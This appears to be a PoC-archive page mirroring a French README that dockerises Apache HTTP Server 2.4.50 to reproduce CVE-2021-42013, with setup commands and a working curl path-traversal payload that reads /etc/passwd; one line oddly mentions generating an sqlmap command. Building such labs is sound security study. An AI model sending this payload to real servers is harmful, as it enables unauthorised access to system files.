Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-42013 PoC — Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773)

Source
Associated Vulnerability
Title:Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) (CVE-2021-42013)
Description:It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.
Description
CVE: 2021-42013 Tested on: 2.4.49 and 2.4.50 Description: Path Traversal or Remote Code Execution vulnerabilities  in Apache 2.4.49 and 2.4.50
Readme
# Dockerisation d'une Vulnérabilité : cve-2021-42013

Ce projet vise à dockeriser une vulnérabilité spécifique en utilisant Docker. L'objectif est de créer un environnement isolé dans lequel la vulnérabilité peut être exploitée et testée de manière sécurisée.

## Application vulnérable

Apache HTTP Server 2.4.50 - Remote Code Execution && Path Transversal

## Installation

Pour exécuter ce projet, vous devez avoir sur votre machine :

- [Docker](https://www.docker.com/)
- [Python](https://www.python.org/)
- [Curl](https://curl.se/)


Une fois les prérequis installé, vous pouvez cloner ce dépôt Git sur votre machine :

```bash
  git clone https://github.com/cybfar/cve-2021-42013-httpd.git

  cd Ccve-2021-42013-httpd

```

Une fois dans le répertoire, exécuter la commande si dessous pour mettre en place l'environement vulnérable:

```bash
  docker build -t apache-httpd-vuln .
  docker run -p 8000:80 apache-httpd-vuln

```

Accéder ensuite à l'application à l'adresse http://localhost:8000
Si tout va bien, vous devez voir s'afficher "It works"




## Exploitation de la vulnérabilité

L'exécution de ce payload avec `curl` ci dessous nous montre que la cible est vulnérable. Le script générera la commande sqlmap appropriée pour exploiter la vulnérabilité

```bash
  curl -v --path-as-is localhost:8000/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd

```
Ce payload peut accéder directement aux informations relatives à l'utilisateur dans le système sans le consentement de l'utilisateur.

Une fois que nous aurons activé les mods cgi ou cgid sur le serveur, cette vulnérabilité permettra à un attaquant d'exécuter des commandes arbitraires
File Snapshot

[4.0K] /data/pocs/08af1ad42ce8463df941dbbe95d004277a2c79eb ├── [ 422] Dockerfile ├── [ 18K] httpd.conf └── [1.7K] README.md 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →